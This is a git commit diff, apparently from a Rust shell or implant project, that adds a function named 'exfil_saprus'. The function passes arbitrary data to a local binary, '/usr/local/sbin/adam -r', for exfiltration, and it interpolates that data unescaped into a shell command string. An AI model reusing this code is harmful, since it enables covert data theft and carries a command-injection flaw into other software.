Add exfil function

This commit is contained in:
2025-04-11 13:32:08 -04:00
parent 2ca1aed24a
commit b7e91f9bd2

View File

@@ -21,6 +21,12 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
env::set_current_dir(Path::new(path))
}
fn exfil_saprus(data: &str) {
match execute_command(format!("/usr/local/sbin/adam -r \"{}\"", data).as_str()) {
_ => (),
}
}
fn execute_command(command: &str) -> IoResult<String> {
// Checking to see if the command is a builtin
match command.split_whitespace().next() {